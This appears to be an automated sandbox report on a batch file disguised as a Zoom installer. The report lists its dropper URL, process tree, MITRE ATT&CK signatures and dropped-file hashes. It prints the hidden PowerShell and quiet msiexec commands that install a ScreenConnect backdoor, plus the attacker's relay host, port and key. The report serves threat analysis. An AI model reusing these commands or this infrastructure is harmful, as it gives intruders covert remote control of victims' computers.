Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    26/02/2026, 12:31

General

  • Target
    ZoomWorkspace-5.8.23.bat
  • Size 3KB
  • Sample260226-pp6pcsew9g
  • SHA256 6233435afaf8a69aa4bd4b5d40b973b63189d0a36f72c5343bcc7d2c94474272
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://connectfilesview.click/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest&c=New&c=OT&c=OT&c=Win&c=&c=&c=&c=

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Binary is signed using a ConnectWise certificate revoked for key compromise. 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 2 TTPs 1 IoCs
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ZoomWorkspace-5.8.23.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4964
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1208
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:5660
      • C:\Windows\system32\net.exe
        net session
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4556
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          3⤵
            PID:4960
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\sc_hidden_install.ps1"
          2⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3632
          • C:\Windows\system32\msiexec.exe
            "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi" /quiet /norestart /L*v "C:\Users\Admin\AppData\Local\Temp\SC_install_log.txt"
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2016
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Enumerates connected drives
        • Boot or Logon Autostart Execution: Authentication Package
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5192
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 62DDF61FC7EA5A602028A403C279D4F8
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2568
          • C:\Windows\SysWOW64\rundll32.exe
            rundll32.exe "C:\Windows\Installer\MSI5ABD.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240671515 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
            3⤵
            • Loads dropped DLL
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            PID:1556
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding BB0CE2EDE227703A1B2B0440DA21B461 E Global\MSI0000
          2⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:3804
      • C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\ScreenConnect.ClientService.exe
        "C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=connectfilesview.click&p=8041&s=1a5854cc-05f6-40dc-aba1-3ae124a4b9ea&k=BgIAAACkAABSU0ExAAgAAAEAAQAlQ0Z5CDxYItBJGQaPZh2Lm0iWx%2bl8isvl2UtuXStYWi0gF6noj40mOEzCsOfoBrKHfSQHe62a%2fB969mHBSkAE7VHD9nkWy0cAa7nyKHBoSQpzb78WKe6xWgs0iHXk55%2bewjAx%2f%2frUXhmZ6%2b7uiVuG8jQfWgDeNZV7YYWHho8ibA60POAua4l75pJAqvQQCe%2f9wc5FVSwd8ZbaKQXRM7HVj7vG%2fm4YA7sZh2BK2eE4D4hOy9Z4Dm3uQU1FHriOEeWPNNywM7NkdyzFESpqhGNjNFJMdQ5lQsklmckEtKgCRVIHrt6Cnvt0Pfl8q4btvBCYUGKUdM77%2bZXgiVew%2fo62&c=New&c=OT&c=OT&c=Win&c=&c=&c=&c="
        1⤵
        • Sets service image path in registry
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2024
        • C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\ScreenConnect.WindowsClient.exe" "RunRole" "54a2996a-e753-4995-a42e-6319f9616113" "User"
          2⤵
          • Executes dropped EXE
          PID:5960
        • C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\ScreenConnect.WindowsClient.exe" "RunRole" "aa1be369-b5f0-4b3d-a262-6cc4eb29c10e" "System"
          2⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          PID:1836

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e585a63.rbs

            • Path C:\Config.Msi\e585a63.rbs
            • Size 214KB
            • SHA256 a642aa9a979bbcb655d0ce8ab5ebe2c2f120b596bc45fddbb0523ee4e1644cf4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\Client.Override.en-US.resources
            • Size 245B
            • SHA256 4aa60e71e2a95cff9837b2dedddfa5a2d6e2e685826d1ff8019b9b3b9a02f4cf
            • MD5 SHA1 SHA512 TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\Client.Override.resources
            • Size 43KB
            • SHA256 a6dfe06f5e03fc07ab138db534f0f257c0b16a9e7e45db1553116769a1d6e520
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\Client.en-US.resources
            • Size 48KB
            • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\Client.resources
            • Size 28KB
            • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\ScreenConnect.ClientService.dll
            • Size 66KB
            • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\ScreenConnect.WindowsClient.exe
            • Size 593KB
            • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\app.config
            • Size 963B
            • SHA256 e83d538e6a597b02af3f70bbdd2830982961ef2e7a9e078222c1729dd7170503
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (0e1383e26241a18e)\system.config
            • Size 948B
            • SHA256 7711ecec46267b0623299be6f465d4f8446f9b7fe7abf4042fa51d1276bf2df2
            • MD5 SHA1 SHA512 TLSH

            SC_install_log.txt

            • Path C:\Users\Admin\AppData\Local\Temp\SC_install_log.txt
            • Size 1KB
            • SHA256 fe9258633194a10a49c4d467dfb25eb6117c297955e5ed2bf5155721d7f9985c
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.ClientSetup.msi

            • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
            • Size 12.9MB
            • SHA256 e8b987a39749cbd743500d215c72ad9bc83887b78c9a5dcdff32c321691173d0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            __PSScriptPolicyTest_35rfzqyj.xxy.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_35rfzqyj.xxy.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            sc_hidden_install.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\sc_hidden_install.ps1
            • Size 639B
            • SHA256 9341841fc49ed24c7587acdf38569315841a0be0dfcf67c5131cbb727a426a23
            • MD5 SHA1 SHA512 TLSH

            MSI5ABD.tmp

            • Path C:\Windows\Installer\MSI5ABD.tmp
            • Size 1.0MB
            • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Windows\Installer\MSI5ABD.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Windows\Installer\MSI5ABD.tmp-\ScreenConnect.Core.dll
            • Size 538KB
            • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Windows\Installer\MSI5ABD.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Windows\Installer\MSI5ABD.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI5D9E.tmp

            • Path C:\Windows\Installer\MSI5D9E.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1556-73-0x00000000056E0000-0x000000000588C000-memory.dmp

            memory/1556-74-0x0000000005E40000-0x00000000063E6000-memory.dmp

            memory/1556-69-0x00000000054A0000-0x000000000552C000-memory.dmp

            memory/1556-80-0x0000000001240000-0x0000000001352000-memory.dmp

            memory/1556-65-0x00000000053D0000-0x00000000053DA000-memory.dmp

            memory/1556-61-0x0000000005390000-0x00000000053BE000-memory.dmp

            memory/1836-176-0x0000000001550000-0x000000000155C000-memory.dmp

            memory/2024-115-0x00000000036D0000-0x00000000036E8000-memory.dmp

            memory/2024-135-0x00000000040A0000-0x0000000004175000-memory.dmp

            memory/2024-130-0x0000000003DD0000-0x0000000003E06000-memory.dmp

            memory/2024-133-0x0000000003D30000-0x0000000003D71000-memory.dmp

            memory/2024-126-0x0000000003D80000-0x0000000003DD0000-memory.dmp

            memory/2024-177-0x00000000036B0000-0x00000000036C9000-memory.dmp

            memory/2024-131-0x0000000003EB0000-0x0000000003F42000-memory.dmp

            memory/2568-166-0x0000000000AD0000-0x0000000000BE2000-memory.dmp

            memory/3632-32-0x000001DFF08F0000-0x000001DFF08F9000-memory.dmp

            memory/3632-172-0x000001DFEEA00000-0x000001DFEEA0C000-memory.dmp

            memory/3632-174-0x000001DFF08F0000-0x000001DFF08F9000-memory.dmp

            memory/3632-18-0x000001DFF0810000-0x000001DFF0820000-memory.dmp

            memory/3632-31-0x000001DFF08A0000-0x000001DFF08B2000-memory.dmp

            memory/3632-30-0x000001DFEEA00000-0x000001DFEEA0C000-memory.dmp

            memory/3632-26-0x000001DFF0810000-0x000001DFF0820000-memory.dmp

            memory/3632-33-0x000001DFF0810000-0x000001DFF0820000-memory.dmp

            memory/3632-28-0x000001DFF0810000-0x000001DFF0820000-memory.dmp

            memory/3632-29-0x000001DFF0810000-0x000001DFF0820000-memory.dmp

            memory/3632-17-0x000001DFF0810000-0x000001DFF0820000-memory.dmp

            memory/3632-24-0x000001DFF0900000-0x000001DFF0922000-memory.dmp

            memory/3804-168-0x0000000000970000-0x0000000000A82000-memory.dmp

            memory/5960-149-0x000000001C020000-0x000000001C1CC000-memory.dmp

            memory/5960-163-0x0000000002F70000-0x0000000002F88000-memory.dmp

            memory/5960-161-0x0000000001740000-0x0000000001758000-memory.dmp

            memory/5960-150-0x000000001C360000-0x000000001C4E8000-memory.dmp

            memory/5960-146-0x0000000000D70000-0x0000000000E08000-memory.dmp

            memory/5960-147-0x0000000002F30000-0x0000000002F66000-memory.dmp

            memory/5960-148-0x000000001BB90000-0x000000001BC1C000-memory.dmp

            memory/5960-178-0x0000000001700000-0x000000000170C000-memory.dmp